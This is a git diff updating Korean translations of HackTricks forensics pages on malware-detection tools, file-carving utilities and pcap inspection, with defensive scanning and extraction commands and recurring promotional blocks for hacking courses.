<p>샌드박싱: 의심스러운 파일을 샌드박스라는 제어된 환경에서 실행합니다. 샌드박스는 파일을 시스템의 나머지 부분과 격리시켜 시스템 감염의 위험 없이 파일의 동작을 관찰할 수 있게 합니다.</p>
|
||||
|
||||
<p>정적 분석: 파일을 실행하지 않고 분석합니다. 이는 파일의 메타데이터(파일 크기, 생성 날짜, 파일 유형 등)를 조사함으로써 수행될 수 있습니다. 또한 파일 형식 분석기와 같은 도구를 사용하여 파일 구조에서 의심스러운 패턴이나 이상점을 식별할 수 있습니다.</p>
|
||||
|
||||
<p>스캔만으로는 모든 유형의 악성 코드를 감지하는 데 충분하지 않을 수 있다는 점을 유의해야 합니다. 일부 악성 코드는 백신 소프트웨어의 탐지를 피하도록 설계되거나 특정 조건에서만 동작하는 행동을 보일 수 있습니다. 따라서 완전한 이해와 위협 완화를 위해 추가적인 분석 기술이 필요할 수 있습니다.</p>
|
||||
```
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
|
@ -157,26 +70,26 @@ clamscan folderpath #Scan the whole folder
|
|||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa**는 실행 가능한 파일인 PE, ELF, .NET에서 잠재적으로 악성인 **기능**을 감지합니다. 따라서 다음과 같은 것들을 찾을 수 있습니다:
|
||||
**Capa**는 실행 파일(PE, ELF, .NET)에서 잠재적으로 악의적인 **기능**을 감지합니다. 따라서 Att\&ck 전술과 같은 것들 또는 다음과 같은 의심스러운 기능을 찾을 수 있습니다:
|
||||
|
||||
* OutputDebugString 오류 확인
|
||||
* 서비스로 실행
|
||||
* 프로세스 생성
|
||||
- OutputDebugString 오류 확인
|
||||
- 서비스로 실행
|
||||
- 프로세스 생성
|
||||
|
||||
[**Github 저장소**](https://github.com/mandiant/capa)에서 받을 수 있습니다.
|
||||
|
||||
### IOC
|
||||
### IOCs
|
||||
|
||||
IOC는 Compromise의 지표입니다. IOC는 일부 잠재적으로 원치 않는 소프트웨어 또는 확인된 **악성 코드**를 식별하는 **조건들의 집합**입니다. Blue Team은 이러한 정의를 사용하여 시스템과 네트워크에서 이러한 악성 파일을 검색합니다.\
|
||||
이러한 정의를 공유하는 것은 매우 유용합니다. 컴퓨터에서 악성 코드가 식별되고 해당 악성 코드에 대한 IOC가 생성되면, 다른 Blue Team은 이를 사용하여 악성 코드를 더 빠르게 식별할 수 있습니다.
|
||||
IOC는 Compromise의 지표를 의미합니다. IOC는 일부 잠재적으로 원치 않는 소프트웨어 또는 확인된 **악성 코드**를 식별하는 **조건 집합**입니다. Blue Team은 시스템 및 네트워크에서 이러한 악성 파일을 **검색**하기 위해 이러한 정의를 사용합니다.\
|
||||
이러한 정의를 공유하는 것은 컴퓨터에서 악성 코드가 식별되고 해당 악성 코드에 대한 IOC가 생성될 때 다른 Blue Team이 해당 악성 코드를 더 빨리 식별할 수 있도록 도움이 됩니다.
|
||||
|
||||
IOC를 생성하거나 수정하는 도구로는 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**가 있습니다.**\
|
||||
[**Redline**](https://www.fireeye.com/services/freeware/redline.html)과 같은 도구를 사용하여 장치에서 정의된 IOC를 검색할 수 있습니다.
|
||||
IOC를 생성하거나 수정하는 도구는 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**입니다.**\
|
||||
[**Redline**](https://www.fireeye.com/services/freeware/redline.html)과 같은 도구를 사용하여 장치에서 정의된 IOC를 **검색**할 수 있습니다.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki)는 간단한 Compromise 지표를 스캔하는 도구입니다.\
|
||||
감지는 네 가지 감지 방법을 기반으로 합니다:
|
||||
검출은 네 가지 검출 방법을 기반으로 합니다:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
@ -190,13 +103,13 @@ Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
|||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
### Linux 악성 코드 탐지
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)은 GNU GPLv2 라이선스로 출시된 Linux용 악성 코드 스캐너입니다. 이는 공유 호스팅 환경에서 직면하는 위협을 기반으로 설계되었습니다. LMD는 네트워크 엣지 침입 탐지 시스템에서 수집한 위협 데이터를 사용하여 공격 중인 악성 코드를 추출하고 탐지를 위한 시그니처를 생성합니다. 또한, LMD 체크아웃 기능과 악성 코드 커뮤니티 자원을 통해 사용자 제출을 통해 위협 데이터를 얻을 수도 있습니다.
|
||||
[**Linux 악성 코드 탐지 (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)는 GNU GPLv2 라이선스 하에 출시된 Linux용 악성 코드 스캐너로, 공유 호스팅 환경에서 직면한 위협을 중심으로 설계되었습니다. 네트워크 가장자리 침입 탐지 시스템에서 위협 데이터를 사용하여 공격 중에 활발히 사용되는 악성 코드를 추출하고 탐지를 위한 시그니처를 생성합니다. 또한, 위협 데이터는 LMD 체크아웃 기능과 악성 코드 커뮤니티 리소스를 통해 사용자 제출에서 파생됩니다.
|
||||
|
||||
### rkhunter
|
||||
|
||||
[**rkhunter**](http://rkhunter.sourceforge.net)와 같은 도구를 사용하여 파일 시스템에서 가능한 **루트킷**과 악성 코드를 확인할 수 있습니다.
|
||||
[**rkhunter**](http://rkhunter.sourceforge.net)와 같은 도구는 파일 시스템을 확인하여 가능한 **루트킷**과 악성 코드를 확인하는 데 사용할 수 있습니다.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
|
@ -206,27 +119,27 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk
|
|||
|
||||
### PEpper
|
||||
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper)는 실행 파일 내에서 기본적인 내용(바이너리 데이터, 엔트로피, URL 및 IP, 일부 yara 규칙)을 확인합니다.
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper)는 실행 파일 내부의 일부 기본적인 내용(이진 데이터, 엔트로피, URL 및 IP, 일부 yara 규칙)을 확인합니다.
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download)는 Windows 실행 파일의 가져오기, 내보내기, 헤더와 같은 정보를 얻을 수 있는 도구이며, 또한 바이러스 토탈을 확인하고 잠재적인 Att\&ck 기술을 찾을 수도 있습니다.
|
||||
[PEstudio](https://www.winitor.com/download)는 Windows 실행 파일의 정보(임포트, 익스포트, 헤더)를 얻을 수 있도록 해주는 도구이며, 바이러스 토탈을 확인하고 잠재적인 Att\&ck 기술을 찾을 수도 있습니다.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/)는 파일이 **암호화**되었는지 여부를 감지하고 **패커**를 찾는 도구입니다.
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/)는 파일이 **암호화**되어 있는지 여부를 감지하고 **패커**를 찾는 도구입니다.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)는 Python 스크립트로, 텍스트/스크립트 파일 내에서 **난독화**된 내용과 **암호화**된 내용을 감지하기 위해 다양한 **통계적 방법**을 사용합니다. NeoPI의 목적은 **숨겨진 웹 쉘 코드**를 감지하는 데 도움을 주는 것입니다.
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)는 다양한 **통계적 방법**을 사용하여 텍스트/스크립트 파일 내에서 **난독화** 및 **암호화**된 내용을 감지하는 Python 스크립트입니다. NeoPI의 목적은 **숨겨진 웹 쉘 코드**를 감지하는 데 도움을 주는 것입니다.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)는 **난독화**된/**의심스러운 코드**와 **악성 코드**/웹쉘에서 자주 사용되는 **PHP** 함수를 사용하는 파일을 감지하기 위해 최선을 다합니다.
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)는 **난독화**/**의심스러운 코드** 및 **악성 코드**/**웹 쉘**에서 자주 사용되는 **PHP** 함수를 사용하는 파일을 감지하기 위해 최선을 다합니다.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
악성 코드 샘플을 확인할 때 항상 이진 파일의 **서명**을 확인해야 합니다. 서명한 **개발자**가 이미 **악성 코드**와 관련이 있을 수 있기 때문입니다.
|
||||
**악성 코드 샘플**을 확인할 때는 항상 이진 파일의 **서명**을 확인해야 합니다. 서명한 **개발자**가 이미 **악성 코드**와 관련이 있을 수 있습니다.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -237,30 +150,31 @@ codesign --verify --verbose /Applications/Safari.app
|
|||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## 탐지 기법
|
||||
## 탐지 기술
|
||||
|
||||
### 파일 스택
|
||||
### 파일 쌓기
|
||||
|
||||
웹 서버의 **파일들이 마지막으로 업데이트된 날짜**를 알고 있다면, **웹 서버의 모든 파일들이 생성 및 수정된 날짜**를 확인하고, 어떤 날짜가 **수상할 만한지** 확인하세요. 그리고 해당 파일을 확인하세요.
|
||||
웹 서버의 **파일**이 포함된 폴더가 **특정 날짜에 마지막으로 업데이트**된 것을 알고 있다면. **웹 서버의 모든 파일이 생성 및 수정된 날짜**를 확인하고 **의심스러운** 날짜가 있는지 확인하십시오.
|
||||
|
||||
### 기준선
|
||||
|
||||
만약 폴더의 파일들이 **수정되지 않았어야 한다면**, 해당 폴더의 **원본 파일들의 해시**를 계산하고, **현재 파일들과 비교**하세요. 수정된 것은 **수상할 만한 것**입니다.
|
||||
폴더의 파일이 **수정되지 않아야 하는 경우**, 폴더의 **원본 파일의 해시**를 계산하고 **현재 파일**과 **비교**할 수 있습니다. 수정된 내용은 **의심스러울 것**입니다.
|
||||
|
||||
### 통계 분석
|
||||
|
||||
정보가 로그에 저장되어 있다면, 웹 서버의 각 파일이 웹 쉘 중 하나일 수 있으므로, **각 웹 서버 파일이 얼마나 자주 액세스되었는지와 같은 통계**를 확인할 수 있습니다.
|
||||
정보가 로그에 저장된 경우, 웹 서버의 각 파일이 액세스된 횟수와 같은 **통계를 확인**할 수 있습니다. 웹 쉘 중 하나일 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기교를 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 **공유**하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 파일 추출 도구
|
||||
# Carving tools
|
||||
|
||||
## Autopsy
|
||||
|
||||
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하고 설치한 후 파일을 분석하여 "숨겨진" 파일을 찾을 수 있습니다. Autopsy는 디스크 이미지 및 다른 종류의 이미지를 지원하지만 단순한 파일은 지원하지 않습니다.
|
||||
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하고 설치한 후 파일을 처리하여 "숨겨진" 파일을 찾으십시오. Autopsy는 디스크 이미지 및 다른 종류의 이미지를 지원하도록 구축되었지만 간단한 파일은 지원하지 않습니다.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk**는 이미지 및 오디오 파일과 같은 이진 파일에서 포함된 파일과 데이터를 검색하는 도구입니다.
|
||||
**Binwalk**은 이미지 및 오디오 파일과 같은 이진 파일에서 포함된 파일 및 데이터를 검색하는 도구입니다.
|
||||
`apt`를 사용하여 설치할 수 있지만 [소스](https://github.com/ReFirmLabs/binwalk)는 github에서 찾을 수 있습니다.
|
||||
**유용한 명령어**:
|
||||
```bash
|
||||
|
@ -32,7 +33,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
또 다른 숨겨진 파일을 찾기 위한 일반적인 도구는 **foremost**입니다. Foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석 처리하십시오. 아무것도 주석 처리하지 않으면 foremost는 기본으로 구성된 파일 유형을 검색합니다.
|
||||
또 다른 숨겨진 파일을 찾는 데 일반적으로 사용되는 도구는 **foremost**입니다. Foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 해당 파일의 주석을 해제하면 됩니다. 아무것도 주석 처리하지 않으면 Foremost는 기본 구성된 파일 유형을 검색합니다.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -40,7 +41,7 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel**은 파일에 포함된 파일을 찾아 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우에는 추출하려는 파일 유형을 설정 파일 \(_/etc/scalpel/scalpel.conf_\)에서 주석 처리 해제해야 합니다.
|
||||
**Scalpel**은 파일 내에 포함된 파일을 찾아 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우 추출하려는 파일 유형을 설정 파일 \(_/etc/scalpel/scalpel.conf_\)에서 주석 처리 해제해야 합니다.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
|
@ -49,45 +50,46 @@ scalpel file.img -o output
|
|||
|
||||
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
이 도구는 이미지를 스캔하고 그 안에서 **pcap 파일**, **네트워크 정보\(URL, 도메인, IP, MAC, 메일\)** 및 **기타 파일**을 추출할 수 있습니다. 다음을 수행하기만 하면 됩니다:
|
||||
이 도구는 이미지를 스캔하고 그 안에 있는 **pcaps를 추출**하며, **네트워크 정보\(URL, 도메인, IP, MAC, 이메일\)** 및 더 많은 **파일**을 추출할 수 있습니다. 수행해야 할 작업은 다음과 같습니다:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
**모든 정보**\(비밀번호?\)를 도구가 수집한 것을 통해 탐색하고, **패킷**을 분석하고\(Pcaps 분석 참조\), **이상한 도메인**\(악성코드나 존재하지 않는 도메인과 관련된 도메인\)을 검색합니다.
|
||||
**모든 정보**를 도구가 수집한 것\(비밀번호?\)을 통해 탐색하고, **패킷**을 **분석**하고\(읽기[ **Pcaps 분석**](../pcap-inspection/)\), **이상한 도메인**\(악성 코드와 관련된 도메인 또는 **존재하지 않는** 도메인\)을 검색합니다.
|
||||
|
||||
## PhotoRec
|
||||
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)에서 찾을 수 있습니다.
|
||||
|
||||
GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec에서 검색할 **파일 유형**을 선택할 수 있습니다.
|
||||
GUI 및 CLI 버전이 제공됩니다. PhotoRec가 검색할 **파일 유형**을 선택할 수 있습니다.
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28524%29.png)
|
||||
|
||||
# 특정 데이터 추출 도구
|
||||
# 특정 데이터 카빙 도구
|
||||
|
||||
## FindAES
|
||||
|
||||
키 스케줄을 검색하여 AES 키를 찾습니다. TrueCrypt 및 BitLocker에서 사용되는 128, 192 및 256비트 키와 같은 키를 찾을 수 있습니다.
|
||||
|
||||
[여기](https://sourceforge.net/projects/findaes/)에서 다운로드할 수 있습니다.
|
||||
[여기](https://sourceforge.net/projects/findaes/)에서 다운로드하세요.
|
||||
|
||||
# 보조 도구
|
||||
|
||||
터미널에서 이미지를 보려면 [**viu** ](https://github.com/atanunq/viu)를 사용할 수 있습니다.
|
||||
리눅스 명령 줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
|
||||
터미널에서 이미지를 볼 수 있는 [**viu** ](https://github.com/atanunq/viu)를 사용할 수 있습니다.
|
||||
pdf를 텍스트로 변환하여 읽을 수 있는 리눅스 명령줄 도구 **pdftotext**를 사용할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로에서 영웅까지 AWS 해킹을 배워보세요**!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,47 @@
|
|||
# Pcap 검사
|
||||
# Pcap Inspection
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진**하기 위한 미션을 가진 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이며 **유럽**에서도 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진**하는 데 노력하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 중요한 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP** 대 **PCAPNG**에 대한 참고 사항: PCAP 파일 형식에는 두 가지 버전이 있습니다. **PCAPNG은 더 최신이며 모든 도구에서 지원되지 않습니다**. 다른 도구에서 작업하기 위해 파일을 PCAPNG에서 PCAP으로 변환해야 할 수도 있습니다.
|
||||
**PCAP** 대 **PCAPNG**에 대한 참고: PCAP 파일 형식에는 두 가지 버전이 있습니다. **PCAPNG은 더 최신이며 모든 도구에서 지원되지 않을 수 있습니다**. 다른 도구에서 작업하기 위해 파일을 Wireshark나 다른 호환 도구를 사용하여 PCAPNG에서 PCAP으로 변환해야 할 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## PCAP을 위한 온라인 도구
|
||||
## Pcap을 위한 온라인 도구
|
||||
|
||||
* PCAP의 헤더가 **손상**된 경우 [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**을 시도해야 합니다.
|
||||
* [**PacketTotal**](https://packettotal.com)에서 pcap 내에서 **정보**를 추출하고 **악성 코드**를 검색하세요.
|
||||
* Pcap의 헤더가 **손상**된 경우 [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**해야 합니다.
|
||||
* Pcap에서 **정보를 추출**하고 **악성 코드**를 검색하려면 [**PacketTotal**](https://packettotal.com)을 사용하세요.
|
||||
* [**www.virustotal.com**](https://www.virustotal.com) 및 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)을 사용하여 **악성 활동**을 검색하세요.
|
||||
|
||||
## 정보 추출
|
||||
|
||||
다음 도구는 통계, 파일 등을 추출하는 데 유용합니다.
|
||||
다음 도구는 통계, 파일 추출 등을 추출하는 데 유용합니다.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP를 분석할 예정이라면 Wireshark 사용 방법을 알아야 합니다.**
|
||||
**PCAP를 분석할 예정이라면 Wireshark 사용 방법을 알고 있어야 합니다**
|
||||
{% endhint %}
|
||||
|
||||
Wireshark의 몇 가지 트릭을 다음에서 찾을 수 있습니다:
|
||||
Wireshark 트릭은 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
|
@ -48,7 +49,7 @@ Wireshark의 몇 가지 트릭을 다음에서 찾을 수 있습니다:
|
|||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_는 **pcap**을 분석하고 정보를 추출할 수 있습니다. 예를 들어, pcap 파일에서 Xplico는 각 이메일 (POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화 (SIP), FTP, TFTP 등을 추출합니다.
|
||||
